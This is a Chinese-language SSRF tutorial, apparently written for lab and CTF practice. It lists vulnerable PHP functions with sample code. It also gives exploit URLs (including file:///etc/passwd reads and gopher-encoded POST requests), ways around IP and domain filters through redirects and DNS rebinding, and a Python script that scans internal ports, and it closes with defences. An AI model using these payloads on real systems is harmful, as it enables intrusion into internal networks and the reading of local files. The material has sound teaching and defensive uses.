SSRF
概述
SSRF全称服务端请求伪造,通过传参能控制服务器访问某个url(服务器能发起请求),即存在ssrf漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统
SSRF漏洞危害
- 端口扫描 通过
http://ip:port/
- 内网Web 应用指纹识别(通过内网web应用回显的前端代码指纹识别)
- 攻击内网Web 应用(组合伪协议)
- 读取本地文件(组合伪协议)
SSRF相关危险函数
file_get_contents(): #将整个文件或一个url所指向的文件读入一个字符串中。
readfile():#输出一个文件的内容。
fsockopen():#打开一个网络连接或者一个Unix 套接字连接
curl_exec():#初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
fopen():#打开一个文件文件或者 URL
file_get_contents()
file_get_contents是把文件写入字符串,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了文件读取
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout)
用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机,实现对用户指定url数据的获取<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);//拼接host进入fsockopen函数发起
socket连接
if (!$fp) {
echo "$errstr ($errno)<br />\n";//输出错误字符串和代码
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>curl_exec()
利用方式很多,最常见的是通过file、dict、gopher这三个协议来进行渗透
<?php
$url=$_POST['url'];
$ch=curl_init($url); //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result);
?>readfile()
<?php
$url = $_GET['url'];;
echo readfile($url);
?>
SSRF漏洞利用
通过http(s)协议发起http(s)请求
http://192.168.172.130/curl.php?url=http://192.168.179.160
通过http(s)探测开放端口
http://192.168.172.130/curl.php?url=http://192.168.179.160:22
通过dict协议发起请求和探测开放端口
http://192.168.172.130/curl.php?url=dict://192.168.179.160:22
通过dict协议发起请求
http://192.168.172.130/curl.php?url=dict://192.168.172.1:9090/1.php
利用file伪协议读文件
http://192.168.172.130/curl.php?url=file:///etc/passwd
利用gophar协议发送GET/POST请求
Gopher是Internet上一个非常有名的信息查找系统,在http出现之前主要使用其发送请求。它将Internet 上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码,在SSRF中经常会使用Gopher来构造GET/POST包攻击应用
修改成功gophar协议的数据如下
gopher://192.168.172.1:9090/_GET/1.php?123=123&456=456 HTTP/1.1
Host: 192.168.172.1:9090
Connection: Closeurl编码后如下所示
gopher%3a%2f%2f192.168.172.1%3a9090%2f_get%20%2f1.php%3f123%3d123%26456%3d456
%20http%2f1.1%0d%0ahost%3a%20192.168.172.1%3a9090%0d%0aconnection%3a%20close%
0d%0a%0d%0apayload
get 请求
http://192.168.172.130/curl.php?
url=gopher%3A//192.168.172.1%3A9090/_GET%2520/flag.php%2520HTTP/1.1%250D%250A
Host%253A%2520192.168.172.1%253A9090%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250A%250D%250APOST请求
http://192.168.172.130/curl.php?
url=gopher%3A//192.168.172.1%3A9090/_POST%2520/flag.php%2520HTTP/1.1%250D%250
AHost%253A%2520192.168.172.1%253A9090%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd
7%250D%250A
SSRF绕过
服务限制输入的内容必须是http(s)+域名
例如:请求的 URL 中必须包含 http://notfound.ctfhub.com,来尝试利用 URL 的一些特殊地方绕
过这个限制
payload
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php #使用@符号绕过限制,@符号后添加IP地址
不允许输入
172.* 127.* 192.* 10.*
,使用进制转换绕过url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php对跳转的地址的长度有要求
url=http://0/flag.php
url=http://127.1/flag.php
# 以上都是用来表示127.0.0.1针对敏感关键字有检测并进行302重定向
在公网服务器准备index.php,比如以下内容:
<?php header('Location:http://172.16.12.50/flag')?>
修改响应包中Location字段中的值为
http://172.16.12.187/index.php
ssrf.php?url=http://172.16.12.187/index.php
或者也可以利用dns跳转
在公网服务器准备index.php,比如以下内容:
<?php header('Location:http://172.16.12.50/flag')?>
利用网站https://lock.cmpxchg8b.com/rebinder.html生成一个域名(在B填入你的公网服务器IP地址,A填入内网IP)
例如生成的域名为
xxxxxxxx.3c0c0f32.rbndr.us
,那么传入url=http://xxxxxxxx.3c0c0f32.rbndr.us就可以绕过检测来进行SSRF漏洞的利用服务器那边解析不一定就会按照预想的来,需要不停的发包来碰撞
SSRF内网探测脚本
#coding='utf-8'
import requests
scheme = 'http'
port_list = [22,80,3306,3389,6379,8080,8088,7001,1433,1521]
def run():
for i in range(130,136):
for port in port_list:
ip='192.168.1.'+str(i)
payload = '{scheme}://{ip}:{port}'.format(
scheme=scheme,
ip=ip,
port=port
)
url= "http://192.168.172.130/ssrf.php?url={payload}".format(payload=payload)
print url
try:
r = requests.get(url,timeout=5,verify=False)
print r.text
except Exception,e:
pass
if __name__ == '__main__':
run()
SSRF漏洞防御与恢复
- 限制请求的端口只能为web端口,只允许访问HTTP和HTTPS的请求
- 设置白名单,或限制内网IP,以防止对内网进行攻击
- 禁止30x跳转,可以通过30x跳转绕过限制 ,location:
http://192.168.172.130/index.php
- 屏蔽返回的详细信息,无回显SSRF